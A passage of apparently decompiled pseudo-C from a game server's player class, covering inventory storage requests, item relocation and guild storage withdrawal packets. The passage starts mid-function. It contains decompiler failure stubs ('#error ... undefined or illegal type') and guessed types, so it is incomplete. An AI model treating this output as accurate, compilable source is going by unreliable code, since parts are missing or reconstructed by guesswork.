iic, &iti); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v11 + 1) = *(_WORD *)(v10 + 4); *((_DWORD *)v11 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v10 + 836))(v10); *((_WORD *)v11 + 4) = *(_WORD *)(v10 + 57884); *(_DWORD *)(v11 + 10) = timestr.tm_yday; *(_DWORD *)(v11 + 14) = timestr.tm_isdst; *((_WORD *)v11 + 9) = iti; memcpy(v11 + 20, &v24, 0x64u); v11[120] = v26; (*(void (__thiscall **)(int, char *))(*(_DWORD *)v3 + 8))(v3, &v24); v12 = (*(int (__thiscall **)(int, char *))(*(_DWORD *)v3 + 8))(v3, &v24); v13 = (*(int (__thiscall **)(int, char *, _DWORD, int))(*(_DWORD *)v3 + 8))( v3, &v24, "ShineObjectClass::ShinePlayer::sp_MiniHouseActCheck : Packet Too Long", v12 + 20); v14 = ProtocolPacket::pp_SetPacketLen(&gpp, v13 + 20); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v14, (const char *)&inv, (int)&inv) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v15); } ++*(_WORD *)(v18 + 57884); } } } } } } } } } inv.Inven ^= (inv.Inven ^ (inv.Inven + 1)) & 0x3FF; if ( (inv.Inven & 0x3FFu) >= 0x23 ) break; v1 = v18; } *(_BYTE *)(v18 + 139608) = complete == 0; --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"); } //----- (00510950) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendBoothSize(void *this) { void *v1; // esi@1 int v2; // eax@1 char *v3; // eax@2 int v4; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1168))(v1); if ( *((_BYTE *)v1 + 143132) != v2 ) { *((_BYTE *)v1 + 143132) = v2; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28656; v3[2] = *((_BYTE *)v1 + 143132); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize : Packet Too Long", 3); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize"); } //----- (00510A50) -------------------------------------------------------- #error "510A50: undefined or illegal type '#593' (funcsize=369)" //----- (00510FE0) -------------------------------------------------------- #error "510FE0: undefined or illegal type '#593' (funcsize=129)" //----- (005111C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_AccountStoragePageReq(void *this, signed int page, char OpenType) { void *v3; // esi@1 char *v4; // edi@3 ZoneBaseSession *v5; // eax@5 char *v6; // [sp-4h] [bp-20h]@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( page < 16 ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13380; *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v4 + 1) = *((_WORD *)v3 + 2); v4[8] = page; *(_DWORD *)(v4 + 9) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 840))(v3); v4[13] = OpenType; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_StoreManager::nrb_Role : Packet Too Long", 14); } v6 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 15, 7, 2052); v6 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (005112E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemReloc(void *ecx0, int a2, int a3) { void *v3; // esi@1 __int16 v4; // dx@1 int v5; // ebp@1 ItemInform_ActionItem *v6; // eax@7 int v7; // edx@7 int v8; // edi@7 char *v9; // edi@10 int v10; // eax@11 int v11; // eax@11 ItemInform_ActionItem *v12; // ecx@11 int v13; // eax@11 ItemAttributeClassContainer *v14; // eax@11 char v15; // al@14 ZoneBaseSession *v16; // eax@15 int v17; // edi@16 int v18; // eax@16 int v19; // edi@16 int v20; // eax@16 ItemTotalInformation *v21; // ecx@16 int v22; // eax@17 int v23; // eax@17 int v24; // eax@17 ItemInform_ActionItem *v25; // ecx@17 ItemAttributeClassContainer *v26; // eax@17 ItemAttributeClassContainer *v27; // ecx@19 __int16 v28; // dx@22 int v29; // eax@22 ItemAttributeClassContainer *v30; // ecx@22 char v31; // al@22 ZoneBaseSession *v32; // eax@23 int v33; // edi@24 int v34; // eax@24 int v35; // eax@25 signed int v36; // [sp+20h] [bp-1F0h]@4 ItemAttributeClassContainer *v37; // [sp+34h] [bp-1DCh]@1 ItemInform_ActionItem *this; // [sp+38h] [bp-1D8h]@7 int v39; // [sp+3Ch] [bp-1D4h]@1 ItemTotalInformation iti; // [sp+40h] [bp-1D0h]@11 char v41; // [sp+B0h] [bp-160h]@17 __int16 v42; // [sp+B8h] [bp-158h]@22 char v43; // [sp+120h] [bp-F0h]@17 __int16 v44; // [sp+128h] [bp-E8h]@22 char v45; // [sp+190h] [bp-80h]@11 unsigned int v46; // [sp+200h] [bp-10h]@1 int v47; // [sp+20Ch] [bp-4h]@1 v3 = ecx0; v46 = (unsigned int)&v37 ^ __security_cookie; v39 = (int)"ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_WORD *)(a3 + 2) ^ *(_WORD *)a3; v5 = a3 + 2; v47 = 0; if ( HIBYTE(v4) & 0xFC ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 578); LABEL_30: --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"); goto LABEL_31; } if ( (*(_WORD *)a3 & 0x3FF) >= (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 8))(a2) ) { v36 = 580; LABEL_29: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, v36); goto LABEL_30; } if ( (*(_WORD *)v5 & 0x3FF) >= (*(int (__thiscall **)(int, char *))(*(_DWORD *)a2 + 4))(a2, (char *)v3 + 142688) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 580); goto LABEL_30; } v6 = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))a2)(a2, *(_WORD *)a3 & 0x3FF); v7 = *(_DWORD *)a2; this = v6; v8 = (*(int (__thiscall **)(int, int))v7)(a2, *(_WORD *)v5 & 0x3FF); v37 = (ItemAttributeClassContainer *)v8; if ( !this || ItemInventoryCell::iic_ItemIdent(this) == -1 ) { v36 = 581; goto LABEL_29; } if ( !v8 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 581); goto LABEL_26; } v9 = gpp.pp_Buffer; if ( ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v37) != -1 ) { *((_WORD *)v9 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *(_WORD *)v9 = 13355; v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v9 + 3) = v22; *((_DWORD *)v9 + 2) = v22; *((_WORD *)v9 + 8) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2004))(v3) + 4); *((_WORD *)v9 + 13) = *(_WORD *)v5; MoveManager::MoveManager((DiceTaiSai *)this); *(_DWORD *)(v9 + 18) = *(_DWORD *)v23; *(_DWORD *)(v9 + 22) = *(_DWORD *)(v23 + 4); *((_WORD *)v9 + 18) = *(_WORD *)a3; MoveManager::MoveManager((DiceTaiSai *)v37); *((_DWORD *)v9 + 7) = *(_DWORD *)v24; v25 = this; *((_DWORD *)v9 + 8) = *(_DWORD *)(v24 + 4); ItemInform_ActionItem::sii_Export(v25, (ItemTotalInformation *)&v41); ItemInform_ActionItem::sii_Export((ItemInform_ActionItem *)v37, (ItemTotalInformation *)&v43); v26 = *(ItemAttributeClassContainer **)&this[1].iiai_RegistNumber.binary.gap0[2]; if ( !v26 ) { v26 = &itmattcontainer; if ( !&itmattcontainer ) goto LABEL_13; } v27 = (ItemAttributeClassContainer *)v37->iacc_quest.baseclass_0.baseclass_0.vfptr; v37 = &itmattcontainer; if ( v27 ) v37 = v27; if ( !v37 ) goto LABEL_13; v28 = v44; *((_WORD *)v9 + 19) = v42; *((_WORD *)v9 + 20) = v28; v29 = v26->iacc_default.vfptr->iac_GetLot((ItemAttributeClass *)v26, (SHINE_ITEM_STRUCT *)&v42); v30 = v37; *(_DWORD *)(v9 + 42) = v29; *(_DWORD *)(v9 + 46) = ((int (__stdcall *)(__int16 *))v30->iacc_default.vfptr->iac_GetLot)(&v44); v31 = ProtocolPacket::pp_SetPacketLen(&gpp, 50); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v31, "ItemRelocationManager::irm_Exchange : Packet Too Long", 50) ) { v32 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v32); } v33 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2004))(v3); v34 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); (*(void (__thiscall **)(int, _DWORD, int, char *, int, int))(*(_DWORD *)v33 + 60))( v33, *(_WORD *)(v34 + 4), a3, &v43, a3, a3 + 2); v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); v21 = (ItemTotalInformation *)&v41; LABEL_25: (*(void (__thiscall **)(int, _DWORD, int, ItemTotalInformation *, int, int))(*(_DWORD *)v19 + 60))( v19, *(_WORD *)(v20 + 4), a3 + 2, v21, a3 + 2, a3); v35 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); ++*(_WORD *)(v35 + 4); goto LABEL_26; } *((_WORD *)v9 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3); *(_WORD *)v9 = 13352; v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v9 + 3) = v10; *((_DWORD *)v9 + 2) = v10; v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); v12 = this; *((_WORD *)v9 + 8) = *(_WORD *)(v11 + 4); MoveManager::MoveManager((DiceTaiSai *)v12); *(_DWORD *)(v9 + 18) = *(_DWORD *)v13; *(_DWORD *)(v9 + 22) = *(_DWORD *)(v13 + 4); *((_WORD *)v9 + 13) = *(_WORD *)v5; *((_WORD *)v9 + 14) = *(_WORD *)a3; ItemInform_ActionItem::sii_Export(this, &iti); ItemTotalInformation::iti_clear((ItemTotalInformation *)&v45); v14 = *(ItemAttributeClassContainer **)&this[1].iiai_RegistNumber.binary.gap0[2]; if ( v14 || (v14 = &itmattcontainer) != 0 ) { *((_WORD *)v9 + 15) = iti.iti_itemstruct.itemid; *((_DWORD *)v9 + 8) = v14->iacc_default.vfptr->iac_GetLot((ItemAttributeClass *)v14, &iti.iti_itemstruct); v15 = ProtocolPacket::pp_SetPacketLen(&gpp, 36); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v15, "ItemRelocationManager::irm_Move : Packet Too Long", 36) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v16); } v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); (*(void (__thiscall **)(int, _DWORD, int, char *, int, int))(*(_DWORD *)v17 + 60))( v17, *(_WORD *)(v18 + 4), a3, &v45, a3, a3 + 2); v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); v21 = &iti; goto LABEL_25; } LABEL_13: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 583); LABEL_26: v47 = -1; FunctionEntarance::_FunctionEntarance((FunctionEntarance *)&v39); LABEL_31: __security_check_cookie((unsigned int)&v37 ^ v46); } //----- (00511B10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_OPENSTORAGEPAGE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S18_1 & 1) ) { _S18_1 |= 1u; cmc_78.cmc_AllowMode = 70; atexit(_E19_5); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_78.cmc_AllowMode ) { if ( *((_BYTE *)v4 + 23352) & 0x30 ) ShineObjectClass::ShinePlayer::sp_AccountStoragePageReq(v4, *(_BYTE *)(netcmd + 2), 0); else (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 7, 2051); } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 7, 2050); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ"); } //----- (00511C30) -------------------------------------------------------- #error "511C30: undefined or illegal type '#734' (funcsize=884)" //----- (00512790) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ(int a1, int a2, int netcmd, int len, int handle) { int v5; // esi@1 int v6; // ST0C_4@5 int v7; // edi@5 int v8; // ebx@9 unsigned __int16 v9; // cx@11 char *v10; // [sp+0h] [bp-24h]@6 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; if ( !(_S8_15 & 1) ) { _S8_15 |= 1u; cmc_79.cmc_AllowMode = 86; atexit(_E9_37); } if ( !((1 << **(_BYTE **)(v5 + 3568)) & cmc_79.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 12, 578); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ"); return; } v6 = a2; v7 = v5 + 57880; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)(v5 + 57880) + 20))(v5 + 57880, v6) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 12); v10 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ"; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return; } if ( *(_DWORD *)(v5 + 7452) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 12); v10 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ"; goto LABEL_17; } v8 = len + 2; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v7 + 12))(v5 + 57880) || (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v7 + 12))(v5 + 57880, len + 4) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 12, 578); v10 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ"; goto LABEL_17; } v9 = *(_WORD *)(len + 4); if ( (HIBYTE(v9) ^ (unsigned __int8)(*(_WORD *)v8 >> 8)) & 0xFC || (v9 ^ *(_WORD *)v8) & 0x3FF ) ShineObjectClass::ShinePlayer::sp_ItemReloc(v5, handle, v8); else (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 12, 577); v12 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 512790: could not find valid save-restore pair for edi // 511C30: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ItemReloc(_DWORD, _DWORD, _DWORD); //----- (00512990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@7 unsigned __int16 *v8; // ST0C_4@8 unsigned int v9; // eax@8 GuildStorage::GuildStorageElement *v10; // ebp@8 int v11; // eax@11 char v12; // al@21 int v13; // eax@22 int v14; // edi@23 int v15; // eax@23 char *v16; // edi@23 char v17; // al@23 ZoneBaseSession *v18; // eax@24 int v19; // eax@25 char *v20; // [sp-4h] [bp-24h]@6 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v22; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S14_8 & 1) == 0; v6 = gpp.pp_Buffer; v22 = 0; *(_WORD *)gpp.pp_Buffer = 12327; if ( v5 ) { _S14_8 |= 1u; cmc_80.cmc_AllowMode = 70; atexit(_E15_16); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_80.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { *((_WORD *)v6 + 5) = 5249; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v22 = -1; v20 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); v22 = -1; v20 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; } goto LABEL_17; } v8 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2096))(v4); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4); v10 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v9, v8); if ( !v10 ) { *((_WORD *)v6 + 5) = 5250; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); LABEL_16: v22 = -1; v20 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v20); return; } v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_15: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); goto LABEL_16; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1512))(v4) ) { *((_WORD *)v6 + 5) = 5252; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) goto LABEL_10; v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); goto LABEL_15; } if ( *(_QWORD *)(netcmd + 2) > GuildStorage::GuildStorageElement::gse_GetMoney(v10) ) *(_QWORD *)(netcmd + 2) = GuildStorage::GuildStorageElement::gse_GetMoney(v10); if ( *(_QWORD *)(netcmd + 2) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v14 + 64))( v14, *(_WORD *)(v15 + 4), *(_DWORD *)(netcmd + 2), *(_DWORD *)(netcmd + 6), 1); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13428; *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v16 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v16 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4); *(_DWORD *)(v16 + 14) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v16 + 18) = *(_DWORD *)(netcmd + 6); *((_WORD *)v16 + 4) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4) + 4); v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 22); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 22) ) { v18 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v18); } v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v19 + 4); } else { *((_WORD *)v6 + 5) = 5251; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } } v22 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00512CE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck(void *this, int withdraw) { void *v2; // edi@1 int v3; // edx@1 unsigned __int16 *v4; // ST08_4@1 unsigned int v5; // eax@1 void *v6; // eax@1 bool v7; // zf@1 GuildStorage::GuildStorageElement *v8; // ebx@1 int v9; // eax@3 int v10; // ST04_4@4 DebugLogging *v11; // eax@4 DebugLogging *v12; // eax@4 unsigned __int64 v13; // qax@5 unsigned __int64 v14; // kr08_8@5 char *v15; // eax@5 int v16; // eax@7 char *v17; // eax@8 int v18; // esi@8 int v19; // eax@8 int v20; // eax@9 int v21; // eax@11 char *v22; // [sp-4h] [bp-5Ch]@8 unsigned __int64 set_cen; // [sp+10h] [bp-48h]@1 GuildStorage::GuildStorageElement *guildstorage; // [sp+18h] [bp-40h]@1 FunctionEntarance _; // [sp+1Ch] [bp-3Ch]@1 PROTO_NC_GUILD_STORAGEWITHDRAW_RNG tempring; // [sp+20h] [bp-38h]@8 unsigned int v27; // [sp+48h] [bp-10h]@1 int v28; // [sp+54h] [bp-4h]@1 v2 = this; v27 = (unsigned int)&set_cen ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v28 = 0; v4 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(v3 + 2096))(v2); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2072))(v2); v6 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v5, v4); v7 = *(_WORD *)(withdraw + 16) == 5248; v8 = (GuildStorage::GuildStorageElement *)v6; guildstorage = (GuildStorage::GuildStorageElement *)v6; if ( v7 && v6 ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v9 + 32))( v9, v2, *(_WORD *)(withdraw + 6), 0) ) { v10 = *(_WORD *)(withdraw + 6); v11 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck : "); v12 = DebugLogging::operator<<(v11, v10); DebugLogging::operator<<(v12, &deb_LF); } set_cen = *(_QWORD *)(withdraw + 8); v13 = GuildStorage::GuildStorageElement::gse_GetMoney(v8); v14 = v13 - set_cen; GuildStorage::GuildStorageElement::gse_SetMoney(guildstorage, set_cen); v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12327; *(_DWORD *)(v15 + 2) = *(_DWORD *)(withdraw + 8); *(_DWORD *)(v15 + 6) = *(_DWORD *)(withdraw + 12); *((_WORD *)v15 + 5) = *(_WORD *)(withdraw + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck : Packet Too Long", 12); } v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29843; v18 = (int)(v17 + 2); v17[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v18 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v18 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v18 + 7) = (*(int (__thiscall **)(void *))(*(_DWORD 